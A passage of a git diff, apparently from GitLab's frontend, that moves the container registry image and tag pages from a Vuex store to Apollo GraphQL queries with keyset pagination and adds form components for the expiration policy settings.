import EmptyTagsState from '../components/details_page/empty_tags_state.vue';
+import getContainerRepositoryDetailsQuery from '../graphql/queries/get_container_repository_details.query.graphql';
+import deleteContainerRepositoryTagsMutation from '../graphql/mutations/delete_container_repository_tags.mutation.graphql';
+
import {
ALERT_SUCCESS_TAG,
ALERT_DANGER_TAG,
ALERT_SUCCESS_TAGS,
ALERT_DANGER_TAGS,
+ GRAPHQL_PAGE_SIZE,
+ FETCH_IMAGES_LIST_ERROR_MESSAGE,
} from '../constants/index';
export default {
@@ -23,28 +29,61 @@ export default {
DeleteAlert,
PartialCleanupAlert,
DetailsHeader,
- GlPagination,
+ GlKeysetPagination,
DeleteModal,
TagsList,
TagsLoader,
EmptyTagsState,
},
+ inject: ['breadCrumbState', 'config'],
directives: {
GlResizeObserver: GlResizeObserverDirective,
},
mixins: [Tracking.mixin()],
+ apollo: {
+ image: {
+ query: getContainerRepositoryDetailsQuery,
+ variables() {
+ return this.queryVariables;
+ },
+ update(data) {
+ return data.containerRepository;
+ },
+ result({ data }) {
+ this.tagsPageInfo = data.containerRepository?.tags?.pageInfo;
+ this.breadCrumbState.updateName(data.containerRepository?.name);
+ },
+ error() {
+ createFlash({ message: FETCH_IMAGES_LIST_ERROR_MESSAGE });
+ },
+ },
+ },
data() {
return {
+ image: {},
+ tagsPageInfo: {},
itemsToBeDeleted: [],
isMobile: false,
+ mutationLoading: false,
deleteAlertType: null,
dismissPartialCleanupWarning: false,
};
},
computed: {
- ...mapState(['tagsPagination', 'isLoading', 'config', 'tags', 'imageDetails']),
+ queryVariables() {
+ return {
+ id: joinPaths(this.config.gidPrefix, `${this.$route.params.id}`),
+ first: GRAPHQL_PAGE_SIZE,
+ };
+ },
+ isLoading() {
+ return this.$apollo.queries.image.loading || this.mutationLoading;
+ },
+ tags() {
+ return this.image?.tags?.nodes || [];
+ },
showPartialCleanupWarning() {
- return this.imageDetails?.cleanup_policy_started_at && !this.dismissPartialCleanupWarning;
+ return this.image?.expirationPolicyStartedAt && !this.dismissPartialCleanupWarning;
},
tracking() {
return {
@@ -52,66 +91,78 @@ export default {
this.itemsToBeDeleted?.length > 1 ? 'bulk_registry_tag_delete' : 'registry_tag_delete',
};
},
- currentPage: {
- get() {
- return this.tagsPagination.page;
- },
- set(page) {
- this.requestTagsList({ page });
- },
+ showPagination() {
+ return this.tagsPageInfo.hasPreviousPage || this.tagsPageInfo.hasNextPage;
},
},
- mounted() {
- this.requestImageDetailsAndTagsList(this.$route.params.id);
- },
methods: {
- ...mapActions([
- 'requestTagsList',
- 'requestDeleteTag',
- 'requestDeleteTags',
- 'requestImageDetailsAndTagsList',
- ]),
deleteTags(toBeDeleted) {
this.itemsToBeDeleted = this.tags.filter(tag => toBeDeleted[tag.name]);
this.track('click_button');
this.$refs.deleteModal.show();
},
- handleSingleDelete() {
- const [itemToDelete] = this.itemsToBeDeleted;
- this.itemsToBeDeleted = [];
- return this.requestDeleteTag({ tag: itemToDelete })
- .then(() => {
- this.deleteAlertType = ALERT_SUCCESS_TAG;
- })
- .catch(() => {
- this.deleteAlertType = ALERT_DANGER_TAG;
- });
- },
- handleMultipleDelete() {
+ async handleDelete() {
+ this.track('confirm_delete');
const { itemsToBeDeleted } = this;
this.itemsToBeDeleted = [];
-
- return this.requestDeleteTags({
- ids: itemsToBeDeleted.map(x => x.name),
- })
- .then(() => {
- this.deleteAlertType = ALERT_SUCCESS_TAGS;
- })
- .catch(() => {
- this.deleteAlertType = ALERT_DANGER_TAGS;
+ this.mutationLoading = true;
+ try {
+ const { data } = await this.$apollo.mutate({
+ mutation: deleteContainerRepositoryTagsMutation,
+ variables: {
+ id: this.queryVariables.id,
+ tagNames: itemsToBeDeleted.map(i => i.name),
+ },
+ awaitRefetchQueries: true,
+ refetchQueries: [
+ {
+ query: getContainerRepositoryDetailsQuery,
+ variables: this.queryVariables,
+ },
+ ],
});
- },
- onDeletionConfirmed() {
- this.track('confirm_delete');
- if (this.itemsToBeDeleted.length > 1) {
- this.handleMultipleDelete();
- } else {
- this.handleSingleDelete();
+
+ if (data?.destroyContainerRepositoryTags?.errors[0]) {
+ throw new Error();
+ }
+ this.deleteAlertType =
+ itemsToBeDeleted.length === 0 ? ALERT_SUCCESS_TAG : ALERT_SUCCESS_TAGS;
+ } catch (e) {
+ this.deleteAlertType = itemsToBeDeleted.length === 0 ? ALERT_DANGER_TAG : ALERT_DANGER_TAGS;
}
+
+ this.mutationLoading = false;
},
handleResize() {
this.isMobile = GlBreakpointInstance.getBreakpointSize() === 'xs';
},
+ fetchNextPage() {
+ if (this.tagsPageInfo?.hasNextPage) {
+ this.$apollo.queries.image.fetchMore({
+ variables: {
+ after: this.tagsPageInfo?.endCursor,
+ first: GRAPHQL_PAGE_SIZE,
+ },
+ updateQuery(previousResult, { fetchMoreResult }) {
+ return fetchMoreResult;
+ },
+ });
+ }
+ },
+ fetchPreviousPage() {
+ if (this.tagsPageInfo?.hasPreviousPage) {
+ this.$apollo.queries.image.fetchMore({
+ variables: {
+ first: null,
+ before: this.tagsPageInfo?.startCursor,
+ last: GRAPHQL_PAGE_SIZE,
+ },
+ updateQuery(previousResult, { fetchMoreResult }) {
+ return fetchMoreResult;
+ },
+ });
+ }
+ },
},
};
</script>
@@ -132,28 +183,30 @@ export default {
@dismiss="dismissPartialCleanupWarning = true"
/>
- <details-header :image-name="imageDetails.name" />
+ <details-header :image="image" />
<tags-loader v-if="isLoading" />
<template v-else>
<empty-tags-state v-if="tags.length === 0" :no-containers-image="config.noContainersImage" />
- <tags-list v-else :tags="tags" :is-mobile="isMobile" @delete="deleteTags" />
+ <template v-else>
+ <tags-list :tags="tags" :is-mobile="isMobile" @delete="deleteTags" />
+ <div class="gl-display-flex gl-justify-content-center">
+ <gl-keyset-pagination
+ v-if="showPagination"
+ :has-next-page="tagsPageInfo.hasNextPage"
+ :has-previous-page="tagsPageInfo.hasPreviousPage"
+ class="gl-mt-3"
+ @prev="fetchPreviousPage"
+ @next="fetchNextPage"
+ />
+ </div>
+ </template>
</template>
- <gl-pagination
- v-if="!isLoading"
- ref="pagination"
- v-model="currentPage"
- :per-page="tagsPagination.perPage"
- :total-items="tagsPagination.total"
- align="center"
- class="gl-w-full gl-mt-3"
- />
-
<delete-modal
ref="deleteModal"
:items-to-be-deleted="itemsToBeDeleted"
- @confirmDelete="onDeletionConfirmed"
+ @confirmDelete="handleDelete"
@cancel="track('cancel_delete')"
/>
</div>
diff --git a/app/assets/javascripts/registry/explorer/pages/index.vue b/app/assets/javascripts/registry/explorer/pages/index.vue
index 4ac0bca84c1..dca63e1a569 100644
--- a/app/assets/javascripts/registry/explorer/pages/index.vue
+++ b/app/assets/javascripts/registry/explorer/pages/index.vue
@@ -1,7 +1,3 @@
-<script>
-export default {};
-</script>
-
<template>
<div>
<router-view ref="router-view" />
diff --git a/app/assets/javascripts/registry/explorer/pages/list.vue b/app/assets/javascripts/registry/explorer/pages/list.vue
index 81e47073fe9..3192ba82db8 100644
--- a/app/assets/javascripts/registry/explorer/pages/list.vue
+++ b/app/assets/javascripts/registry/explorer/pages/list.vue
@@ -1,5 +1,4 @@
<script>
-import { mapState, mapActions } from 'vuex';
import {
GlEmptyState,
GlTooltipDirective,
@@ -11,6 +10,7 @@ import {
GlSearchBoxByClick,
} from '@gitlab/ui';
import Tracking from '~/tracking';
+import createFlash from '~/flash';
import ProjectEmptyState from '../components/list_page/project_empty_state.vue';
import GroupEmptyState from '../components/list_page/group_empty_state.vue';
@@ -18,6 +18,10 @@ import RegistryHeader from '../components/list_page/registry_header.vue';
import ImageList from '../components/list_page/image_list.vue';
import CliCommands from '../components/list_page/cli_commands.vue';
+import getProjectContainerRepositoriesQuery from '../graphql/queries/get_project_container_repositories.query.graphql';
+import getGroupContainerRepositoriesQuery from '../graphql/queries/get_group_container_repositories.query.graphql';
+import deleteContainerRepositoryMutation from '../graphql/mutations/delete_container_repository.mutation.graphql';
+
import {
DELETE_IMAGE_SUCCESS_MESSAGE,
DELETE_IMAGE_ERROR_MESSAGE,
@@ -29,6 +33,8 @@ import {
IMAGE_REPOSITORY_LIST_LABEL,
EMPTY_RESULT_TITLE,
EMPTY_RESULT_MESSAGE,
+ GRAPHQL_PAGE_SIZE,
+ FETCH_IMAGES_LIST_ERROR_MESSAGE,
} from '../constants/index';
export default {
@@ -47,6 +53,7 @@ export default {
RegistryHeader,
CliCommands,
},
+ inject: ['config'],
directives: {
GlTooltip: GlTooltipDirective,
},
@@ -66,21 +73,62 @@ export default {
EMPTY_RESULT_TITLE,
EMPTY_RESULT_MESSAGE,
},
+ apollo: {
+ images: {
+ query() {
+ return this.graphQlQuery;
+ },
+ variables() {
+ return this.queryVariables;
+ },
+ update(data) {
+ return data[this.graphqlResource]?.containerRepositories.nodes;
+ },
+ result({ data }) {
+ this.pageInfo = data[this.graphqlResource]?.containerRepositories?.pageInfo;
+ this.containerRepositoriesCount = data[this.graphqlResource]?.containerRepositoriesCount;
+ },
+ error() {
+ createFlash({ message: FETCH_IMAGES_LIST_ERROR_MESSAGE });
+ },
+ },
+ },
data() {
return {
+ images: [],
+ pageInfo: {},
+ containerRepositoriesCount: 0,
itemToDelete: {},
deleteAlertType: null,
- search: null,
- isEmpty: false,
+ searchValue: null,
+ name: null,
+ mutationLoading: false,
};
},
computed: {
- ...mapState(['config', 'isLoading', 'images', 'pagination']),
+ graphqlResource() {
+ return this.config.isGroupPage ? 'group' : 'project';
+ },
+ graphQlQuery() {
+ return this.config.isGroupPage
+ ? getGroupContainerRepositoriesQuery
+ : getProjectContainerRepositoriesQuery;
+ },
+ queryVariables() {
+ return {
+ name: this.name,
+ fullPath: this.config.isGroupPage ? this.config.groupPath : this.config.projectPath,
+ first: GRAPHQL_PAGE_SIZE,
+ };
+ },
tracking() {
return {
label: 'registry_repository_delete',
};
},
+ isLoading() {
+ return this.$apollo.queries.images.loading || this.mutationLoading;
+ },
showCommands() {
return Boolean(!this.isLoading && !this.config?.isGroupPage && this.images?.length);
},
@@ -93,19 +141,7 @@ export default {
: DELETE_IMAGE_ERROR_MESSAGE;
},
},
- mounted() {
- this.loadImageList(this.$route.name);
- },
methods: {
- ...mapActions(['requestImagesList', 'requestDeleteImage']),
- loadImageList(fromName) {
- if (!fromName || !this.images?.length) {
- return this.requestImagesList().then(() => {
- this.isEmpty = this.images.length === 0;
- });
- }
- return Promise.resolve();
- },
deleteImage(item) {
this.track('click_button');
this.itemToDelete = item;
@@ -113,18 +149,59 @@ export default {
},
handleDeleteImage() {
this.track('confirm_delete');
- return this.requestDeleteImage(this.itemToDelete)
- .then(() => {
- this.deleteAlertType = 'success';
+ this.mutationLoading = true;
+ return this.$apollo
+ .mutate({
+ mutation: deleteContainerRepositoryMutation,
+ variables: {
+ id: this.itemToDelete.id,
+ },
+ })
+ .then(({ data }) => {
+ if (data?.destroyContainerRepository?.errors[0]) {
+ this.deleteAlertType = 'danger';
+ } else {
+ this.deleteAlertType = 'success';
+ }
})
.catch(() => {
this.deleteAlertType = 'danger';
+ })
+ .finally(() => {
+ this.mutationLoading = false;
});
},
dismissDeleteAlert() {
this.deleteAlertType = null;
this.itemToDelete = {};
},
+ fetchNextPage() {
+ if (this.pageInfo?.hasNextPage) {
+ this.$apollo.queries.images.fetchMore({
+ variables: {
+ after: this.pageInfo?.endCursor,
+ first: GRAPHQL_PAGE_SIZE,
+ },
+ updateQuery(previousResult, { fetchMoreResult }) {
+ return fetchMoreResult;
+ },
+ });
+ }
+ },
+ fetchPreviousPage() {
+ if (this.pageInfo?.hasPreviousPage) {
+ this.$apollo.queries.images.fetchMore({
+ variables: {
+ first: null,
+ before: this.pageInfo?.startCursor,
+ last: GRAPHQL_PAGE_SIZE,
+ },
+ updateQuery(previousResult, { fetchMoreResult }) {
+ return fetchMoreResult;
+ },
+ });
+ }
+ },
},
};
</script>
@@ -134,7 +211,7 @@ export default {
<gl-alert
v-if="showDeleteAlert"
:variant="deleteAlertType"
- class="mt-2"
+ class="gl-mt-5"
dismissible
@dismiss="dismissDeleteAlert"
>
@@ -165,7 +242,7 @@ export default {
<template v-else>
<registry-header
- :images-count="pagination.total"
+ :images-count="containerRepositoriesCount"
:expiration-policy="config.expirationPolicy"
:help-page-path="config.helpPagePath"
:expiration-policy-help-page-path="config.expirationPolicyHelpPagePath"
@@ -176,7 +253,7 @@ export default {
</template>
</registry-header>
- <div v-if="isLoading" class="mt-2">
+ <div v-if="isLoading" class="gl-mt-5">
<gl-skeleton-loader
v-for="index in $options.loader.repeat"
:key="index"
@@ -190,16 +267,17 @@ export default {
</gl-skeleton-loader>
</div>
<template v-else>
- <template v-if="!isEmpty">
+ <template v-if="images.length > 0 || name">
<div class="gl-display-flex gl-p-1 gl-mt-3" data-testid="listHeader">
<div class="gl-flex-fill-1">
<h5>{{ $options.i18n.IMAGE_REPOSITORY_LIST_LABEL }}</h5>
</div>
<div>
<gl-search-box-by-click
- v-model="search"
+ v-model="searchValue"
:placeholder="$options.i18n.SEARCH_PLACEHOLDER_TEXT"
- @submit="requestImagesList({ name: $event })"
+ @clear="name = null"
+ @submit="name = $event"
/>
</div>
</div>
@@ -207,9 +285,10 @@ export default {
<image-list
v-if="images.length"
:images="images"
- :pagination="pagination"
- @pageChange="requestImagesList({ pagination: { page: $event }, name: search })"
+ :page-info="pageInfo"
@delete="deleteImage"
+ @prev-page="fetchPreviousPage"
+ @next-page="fetchNextPage"
/>
<gl-empty-state
diff --git a/app/assets/javascripts/registry/explorer/router.js b/app/assets/javascripts/registry/explorer/router.js
index dcf1c77329d..d8903cf0931 100644
--- a/app/assets/javascripts/registry/explorer/router.js
+++ b/app/assets/javascripts/registry/explorer/router.js
@@ -6,7 +6,7 @@ import { CONTAINER_REGISTRY_TITLE } from './constants/index';
Vue.use(VueRouter);
-export default function createRouter(base) {
+export default function createRouter(base, breadCrumbState) {
const router = new VueRouter({
base,
mode: 'history',
@@ -25,7 +25,7 @@ export default function createRouter(base) {
path: '/:id',
component: Details,
meta: {
- nameGenerator: ({ imageDetails }) => imageDetails?.name,
+ nameGenerator: () => breadCrumbState.name,
},
},
],
diff --git a/app/assets/javascripts/registry/explorer/stores/actions.js b/app/assets/javascripts/registry/explorer/stores/actions.js
deleted file mode 100644
index c1883095097..00000000000
--- a/app/assets/javascripts/registry/explorer/stores/actions.js
+++ /dev/null
@@ -1,119 +0,0 @@
-import axios from '~/lib/utils/axios_utils';
-import createFlash from '~/flash';
-import Api from '~/api';
-import * as types from './mutation_types';
-import {
- FETCH_IMAGES_LIST_ERROR_MESSAGE,
- DEFAULT_PAGE,
- DEFAULT_PAGE_SIZE,
- FETCH_TAGS_LIST_ERROR_MESSAGE,
- FETCH_IMAGE_DETAILS_ERROR_MESSAGE,
-} from '../constants/index';
-import { pathGenerator } from '../utils';
-
-export const setInitialState = ({ commit }, data) => commit(types.SET_INITIAL_STATE, data);
-export const setShowGarbageCollectionTip = ({ commit }, data) =>
- commit(types.SET_SHOW_GARBAGE_COLLECTION_TIP, data);
-
-export const receiveImagesListSuccess = ({ commit }, { data, headers }) => {
- commit(types.SET_IMAGES_LIST_SUCCESS, data);
- commit(types.SET_PAGINATION, headers);
-};
-
-export const receiveTagsListSuccess = ({ commit }, { data, headers }) => {
- commit(types.SET_TAGS_LIST_SUCCESS, data);
- commit(types.SET_TAGS_PAGINATION, headers);
-};
-
-export const requestImagesList = (
- { commit, dispatch, state },
- { pagination = {}, name = null } = {},
-) => {
- commit(types.SET_MAIN_LOADING, true);
- const { page = DEFAULT_PAGE, perPage = DEFAULT_PAGE_SIZE } = pagination;
-
- return axios
- .get(state.config.endpoint, { params: { page, per_page: perPage, name } })
- .then(({ data, headers }) => {
- dispatch('receiveImagesListSuccess', { data, headers });
- })
- .catch(() => {
- createFlash({ message: FETCH_IMAGES_LIST_ERROR_MESSAGE });
- })
- .finally(() => {
- commit(types.SET_MAIN_LOADING, false);
- });
-};
-
-export const requestTagsList = ({ commit, dispatch, state: { imageDetails } }, pagination = {}) => {
- commit(types.SET_MAIN_LOADING, true);
- const tagsPath = pathGenerator(imageDetails);
-
- const { page = DEFAULT_PAGE, perPage = DEFAULT_PAGE_SIZE } = pagination;
- return axios
- .get(tagsPath, { params: { page, per_page: perPage } })
- .then(({ data, headers }) => {
- dispatch('receiveTagsListSuccess', { data, headers });
- })
- .catch(() => {
- createFlash({ message: FETCH_TAGS_LIST_ERROR_MESSAGE });
- })
- .finally(() => {
- commit(types.SET_MAIN_LOADING, false);
- });
-};
-
-export const requestImageDetailsAndTagsList = ({ dispatch, commit }, id) => {
- commit(types.SET_MAIN_LOADING, true);
- return Api.containerRegistryDetails(id)
- .then(({ data }) => {
- commit(types.SET_IMAGE_DETAILS, data);
- dispatch('requestTagsList');
- })
- .catch(() => {
- createFlash({ message: FETCH_IMAGE_DETAILS_ERROR_MESSAGE });
- commit(types.SET_MAIN_LOADING, false);
- });
-};
-
-export const requestDeleteTag = ({ commit, dispatch, state }, { tag }) => {
- commit(types.SET_MAIN_LOADING, true);
- return axios
- .delete(tag.destroy_path)
- .then(() => {
- dispatch('setShowGarbageCollectionTip', true);
-
- return dispatch('requestTagsList', state.tagsPagination);
- })
- .finally(() => {
- commit(types.SET_MAIN_LOADING, false);
- });
-};
-
-export const requestDeleteTags = ({ commit, dispatch, state }, { ids }) => {
- commit(types.SET_MAIN_LOADING, true);
-
- const tagsPath = pathGenerator(state.imageDetails, '/bulk_destroy');
-
- return axios
- .delete(tagsPath, { params: { ids } })
- .then(() => {
- dispatch('setShowGarbageCollectionTip', true);
- return dispatch('requestTagsList', state.tagsPagination);
- })
- .finally(() => {
- commit(types.SET_MAIN_LOADING, false);
- });
-};
-
-export const requestDeleteImage = ({ commit }, image) => {
- commit(types.SET_MAIN_LOADING, true);
- return axios
- .delete(image.destroy_path)
- .then(() => {
- commit(types.UPDATE_IMAGE, { ...image, deleting: true });
- })
- .finally(() => {
- commit(types.SET_MAIN_LOADING, false);
- });
-};
diff --git a/app/assets/javascripts/registry/explorer/stores/getters.js b/app/assets/javascripts/registry/explorer/stores/getters.js
deleted file mode 100644
index 7b5d1bd6da3..00000000000
--- a/app/assets/javascripts/registry/explorer/stores/getters.js
+++ /dev/null
@@ -1,18 +0,0 @@
-export const dockerBuildCommand = state => {
- /* eslint-disable @gitlab/require-i18n-strings */
- return `docker build -t ${state.config.repositoryUrl} .`;
-};
-
-export const dockerPushCommand = state => {
- /* eslint-disable @gitlab/require-i18n-strings */
- return `docker push ${state.config.repositoryUrl}`;
-};
-
-export const dockerLoginCommand = state => {
- /* eslint-disable @gitlab/require-i18n-strings */
- return `docker login ${state.config.registryHostUrlWithPort}`;
-};
-
-export const showGarbageCollection = state => {
- return state.showGarbageCollectionTip && state.config.isAdmin;
-};
diff --git a/app/assets/javascripts/registry/explorer/stores/index.js b/app/assets/javascripts/registry/explorer/stores/index.js
deleted file mode 100644
index 18e3351ed13..00000000000
--- a/app/assets/javascripts/registry/explorer/stores/index.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import Vue from 'vue';
-import Vuex from 'vuex';
-import * as actions from './actions';
-import * as getters from './getters';
-import mutations from './mutations';
-import state from './state';
-
-Vue.use(Vuex);
-
-export const createStore = () =>
- new Vuex.Store({
- state,
- getters,
- actions,
- mutations,
- });
diff --git a/app/assets/javascripts/registry/explorer/stores/mutation_types.js b/app/assets/javascripts/registry/explorer/stores/mutation_types.js
deleted file mode 100644
index 5dd0cec52eb..00000000000
--- a/app/assets/javascripts/registry/explorer/stores/mutation_types.js
+++ /dev/null
@@ -1,10 +0,0 @@
-export const SET_INITIAL_STATE = 'SET_INITIAL_STATE';
-
-export const SET_IMAGES_LIST_SUCCESS = 'SET_PACKAGE_LIST_SUCCESS';
-export const UPDATE_IMAGE = 'UPDATE_IMAGE';
-export const SET_PAGINATION = 'SET_PAGINATION';
-export const SET_MAIN_LOADING = 'SET_MAIN_LOADING';
-export const SET_TAGS_PAGINATION = 'SET_TAGS_PAGINATION';
-export const SET_TAGS_LIST_SUCCESS = 'SET_TAGS_LIST_SUCCESS';
-export const SET_SHOW_GARBAGE_COLLECTION_TIP = 'SET_SHOW_GARBAGE_COLLECTION_TIP';
-export const SET_IMAGE_DETAILS = 'SET_IMAGE_DETAILS';
diff --git a/app/assets/javascripts/registry/explorer/stores/mutations.js b/app/assets/javascripts/registry/explorer/stores/mutations.js
deleted file mode 100644
index 5bdb431ad2e..00000000000
--- a/app/assets/javascripts/registry/explorer/stores/mutations.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import * as types from './mutation_types';
-import { parseIntPagination, normalizeHeaders, parseBoolean } from '~/lib/utils/common_utils';
-import { IMAGE_DELETE_SCHEDULED_STATUS, IMAGE_FAILED_DELETED_STATUS } from '../constants/index';
-
-export default {
- [types.SET_INITIAL_STATE](state, config) {
- state.config = {
- ...config,
- expirationPolicy: config.expirationPolicy ? JSON.parse(config.expirationPolicy) : undefined,
- isGroupPage: parseBoolean(config.isGroupPage),
- isAdmin: parseBoolean(config.isAdmin),
- };
- },
-
- [types.SET_IMAGES_LIST_SUCCESS](state, images) {
- state.images = images.map(i => ({
- ...i,
- status: undefined,
- deleting: i.status === IMAGE_DELETE_SCHEDULED_STATUS,
- failedDelete: i.status === IMAGE_FAILED_DELETED_STATUS,
- }));
- },
-
- [types.UPDATE_IMAGE](state, image) {
- const index = state.images.findIndex(i => i.id === image.id);
- state.images.splice(index, 1, { ...image });
- },
-
- [types.SET_TAGS_LIST_SUCCESS](state, tags) {
- state.tags = tags;
- },
-
- [types.SET_MAIN_LOADING](state, isLoading) {
- state.isLoading = isLoading;
- },
-
- [types.SET_SHOW_GARBAGE_COLLECTION_TIP](state, showGarbageCollectionTip) {
- state.showGarbageCollectionTip = showGarbageCollectionTip;
- },
-
- [types.SET_PAGINATION](state, headers) {
- const normalizedHeaders = normalizeHeaders(headers);
- state.pagination = parseIntPagination(normalizedHeaders);
- },
-
- [types.SET_TAGS_PAGINATION](state, headers) {
- const normalizedHeaders = normalizeHeaders(headers);
- state.tagsPagination = parseIntPagination(normalizedHeaders);
- },
-
- [types.SET_IMAGE_DETAILS](state, details) {
- state.imageDetails = details;
- },
-};
diff --git a/app/assets/javascripts/registry/explorer/stores/state.js b/app/assets/javascripts/registry/explorer/stores/state.js
deleted file mode 100644
index 66ee56eb47b..00000000000
--- a/app/assets/javascripts/registry/explorer/stores/state.js
+++ /dev/null
@@ -1,10 +0,0 @@
-export default () => ({
- isLoading: false,
- showGarbageCollectionTip: false,
- config: {},
- images: [],
- imageDetails: {},
- tags: [],
- pagination: {},
- tagsPagination: {},
-});
diff --git a/app/assets/javascripts/registry/explorer/utils.js b/app/assets/javascripts/registry/explorer/utils.js
deleted file mode 100644
index a48da51caae..00000000000
--- a/app/assets/javascripts/registry/explorer/utils.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import { joinPaths } from '~/lib/utils/url_utility';
-
-export const pathGenerator = (imageDetails, ending = '?format=json') => {
- // this method is a temporary workaround, to be removed with graphql implementation
- // https://gitlab.com/gitlab-org/gitlab/-/issues/276432
-
- const splitPath = imageDetails.path.split('/').reverse();
- const splitName = imageDetails.name ? imageDetails.name.split('/').reverse() : [];
- const basePath = splitPath
- .reduce((acc, curr, index) => {
- if (splitPath[index] !== splitName[index]) {
- acc.unshift(curr);
- }
- return acc;
- }, [])
- .join('/');
-
- return joinPaths(
- window.gon.relative_url_root,
- `/${basePath}`,
- '/registry/repository/',
- `${imageDetails.id}`,
- `tags${ending}`,
- );
-};
diff --git a/app/assets/javascripts/registry/settings/components/expiration_dropdown.vue b/app/assets/javascripts/registry/settings/components/expiration_dropdown.vue
new file mode 100644
index 00000000000..d75fb31fd98
--- /dev/null
+++ b/app/assets/javascripts/registry/settings/components/expiration_dropdown.vue
@@ -0,0 +1,50 @@
+<script>
+import { GlFormGroup, GlFormSelect } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlFormGroup,
+ GlFormSelect,
+ },
+ props: {
+ formOptions: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ value: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ name: {
+ type: String,
+ required: true,
+ },
+ label: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form-group :id="`${name}-form-group`" :label-for="name" :label="label">
+ <gl-form-select :id="name" :value="value" :disabled="disabled" @input="$emit('input', $event)">
+ <option
+ v-for="option in formOptions"
+ :key="option.key"
+ :value="option.key"
+ data-testid="option"
+ >
+ {{ option.label }}
+ </option>
+ </gl-form-select>
+ </gl-form-group>
+</template>
diff --git a/app/assets/javascripts/registry/settings/components/expiration_input.vue b/app/assets/javascripts/registry/settings/components/expiration_input.vue
new file mode 100644
index 00000000000..2dbd9d26f60
--- /dev/null
+++ b/app/assets/javascripts/registry/settings/components/expiration_input.vue
@@ -0,0 +1,110 @@
+<script>
+import { GlFormGroup, GlFormInput, GlSprintf, GlLink } from '@gitlab/ui';
+import { NAME_REGEX_LENGTH, TEXT_AREA_INVALID_FEEDBACK } from '../constants';
+
+export default {
+ components: {
+ GlFormGroup,
+ GlFormInput,
+ GlSprintf,
+ GlLink,
+ },
+ inject: ['tagsRegexHelpPagePath'],
+ props: {
+ error: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ value: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ name: {
+ type: String,
+ required: true,
+ },
+ label: {
+ type: String,
+ required: true,
+ },
+ placeholder: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ description: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ textAreaLengthErrorMessage() {
+ return this.isInputValid(this.value) ? '' : TEXT_AREA_INVALID_FEEDBACK;
+ },
+ inputValidation() {
+ const nameRegexErrors = this.error || this.textAreaLengthErrorMessage;
+ return {
+ state: nameRegexErrors === null ? null : !nameRegexErrors,
+ message: nameRegexErrors,
+ };
+ },
+ internalValue: {
+ get() {
+ return this.value;
+ },
+ set(value) {
+ this.$emit('input', value);
+ this.$emit('validation', this.isInputValid(value));
+ },
+ },
+ },
+ methods: {
+ isInputValid(value) {
+ return !value || value.length <= NAME_REGEX_LENGTH;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form-group
+ :id="`${name}-form-group`"
+ :label-for="name"
+ :state="inputValidation.state"
+ :invalid-feedback="inputValidation.message"
+ >
+ <template #label>
+ <span data-testid="label">
+ <gl-sprintf :message="label">
+ <template #italic="{content}">
+ <i>{{ content }}</i>
+ </template>
+ </gl-sprintf>
+ </span>
+ </template>
+ <gl-form-input
+ :id="name"
+ v-model="internalValue"
+ :placeholder="placeholder"
+ :state="inputValidation.state"
+ :disabled="disabled"
+ trim
+ />
+ <template #description>
+ <span data-testid="description" class="gl-text-gray-400">
+ <gl-sprintf :message="description">
+ <template #link="{content}">
+ <gl-link :href="tagsRegexHelpPagePath" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </span>
+ </template>
+ </gl-form-group>
+</template>
diff --git a/app/assets/javascripts/registry/settings/components/expiration_run_text.vue b/app/assets/javascripts/registry/settings/components/expiration_run_text.vue
new file mode 100644
index 00000000000..fd9ca6a54c5
--- /dev/null
+++ b/app/assets/javascripts/registry/settings/components/expiration_run_text.vue
@@ -0,0 +1,46 @@
+<script>
+import { GlFormGroup, GlFormInput } from '@gitlab/ui';
+import { NEXT_CLEANUP_LABEL, NOT_SCHEDULED_POLICY_TEXT } from '~/registry/settings/constants';
+
+export default {
+ components: {
+ GlFormGroup,
+ GlFormInput,
+ },
+ props: {
+ value: {
+ type: String,
+ required: false,
+ default: NOT_SCHEDULED_POLICY_TEXT,
+ },
+ enabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ parsedValue() {
+ return this.enabled ? this.value : NOT_SCHEDULED_POLICY_TEXT;
+ },
+ },
+ i18n: {
+ NEXT_CLEANUP_LABEL,
+ },
+};
+</script>
+
+<template>
+ <gl-form-group
+ id="expiration-policy-info-text-group"
+ :label="$options.i18n.NEXT_CLEANUP_LABEL"
+ label-for="expiration-policy-info-text"
+ >
+ <gl-form-input
+ id="expiration-policy-info-text"
+ class="gl-pl-0!"
+ plaintext
+ :value="parsedValue"
+ />
+ </gl-form-group>
+</template>
diff --git a/app/assets/javascripts/registry/settings/components/expiration_toggle.vue b/app/assets/javascripts/registry/settings/components/expiration_toggle.vue
new file mode 100644
index 00000000000..7f045244926
--- /dev/null
+++ b/app/assets/javascripts/registry/settings/components/expiration_toggle.vue
@@ -0,0 +1,52 @@
+<script>
+import { GlFormGroup, GlToggle, GlSprintf } from '@gitlab/ui';
+import { ENABLED_TOGGLE_DESCRIPTION, DISABLED_TOGGLE_DESCRIPTION } from '../constants';
+
+export default {
+ components: {
+ GlFormGroup,
+ GlToggle,
+ GlSprintf,
+ },
+ props: {
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ value: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ enabled: {
+ get() {
+ return this.value;
+ },
+ set(value) {
+ this.$emit('input', value);
+ },
+ },
+ toggleText() {
+ return this.enabled ? ENABLED_TOGGLE_DESCRIPTION : DISABLED_TOGGLE_DESCRIPTION;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form-group id="expiration-policy-toggle-group" label-for="expiration-policy-toggle">
+ <div class="gl-display-flex">
+ <gl-toggle id="expiration-policy-toggle" v-model="enabled" :disabled="disabled" />
+ <span class="gl-ml-5 gl-line-height-24" data-testid="description">
+ <gl-sprintf :message="toggleText">
